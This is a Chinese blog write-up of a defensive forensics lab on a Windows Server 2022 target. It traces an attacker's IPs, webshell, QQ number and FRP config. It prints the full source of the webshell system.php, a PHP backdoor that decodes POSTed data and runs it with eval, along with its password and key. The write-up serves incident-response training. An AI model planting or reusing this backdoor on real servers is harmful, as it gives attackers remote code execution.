知工善防web渗透 2（WindowsServer2022 - 2）靶机WriteUP

28.7的博客2025-09-252025-09-25

知工善防靶机题解

一、准备

若无法打开知工善防靶机虚拟机，可尝试打开虚拟机目录，找到虚拟机配置文件 **Windows Server 2022.vmx**，将其中的选项 virtualHW.version = "21" 改为 virtualHW.version = "17" 或 "16"
靶机密码：Zgsf@qq.com

二、题目解析

1. 攻击者的IP地址（两个）？

第一个IP分析：开启小皮面板后，进入日志路径 C:\phpstudy_pro\Extensions\Apache2.4.39\logs 查看web日志，发现IP 192.168.126.135 多次访问 .htaccess 等隐藏文件及备份文件
第二个IP分析：使用日志分析工具查看RDP登录日志，定位到IP 192.168.126.129

flag：192.168.126.135 192.168.126.129

2. 攻击者的webshell文件名？

在上述Apache日志中，明确发现攻击者访问了文件 **system.php**，可判定该文件为webshell文件
webshell文件名日志

flag：system.php

3. 攻击者的webshell密码？

进入webshell文件路径 **C:\phpstudy_pro\WWW\system.php**，查看文件源码，其中明确定义密码为 hack6618，源码如下：

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='hack6618'; // webshell密码
$payloadName='payload';
$key='7813d1590d28a7dd';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

flag：hack6618

4. 攻击者的QQ号？

QQ通常以账户名作为数据索引，进入路径 **C:\Users\Administrator\Documents\Tencent Files**，可看到以QQ号命名的文件夹 777888999321
QQ号文件夹

flag：777888999321

5. 攻击者的服务器伪IP地址？

进入上一步找到的QQ号文件夹下的FRP目录 **C:\Users\Administrator\Documents\Tencent Files\777888999321\FileRecv\frp_0.54.0_windows_amd64\frp_0.54.0_windows_amd64**，查看FRP配置文件，发现攻击者服务器伪IP为 256.256.66.88
FRP配置文件伪IP